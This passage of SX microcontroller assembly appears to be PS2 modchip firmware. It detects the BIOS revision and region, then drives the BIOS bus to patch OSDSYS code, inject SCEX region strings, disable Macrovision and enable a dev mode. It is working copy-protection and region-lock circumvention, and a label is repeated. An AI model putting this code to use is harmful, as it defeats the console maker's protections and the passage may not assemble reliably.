'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ; sb PSX_FLAG ;;; should be able to drop as flows even if bit not set ; jmp TRAY_IS_EJECTED ;;; ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#61;59;$3b ;load timer=61,delay = (256-61)*256*0.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ELSE ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#200;100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov 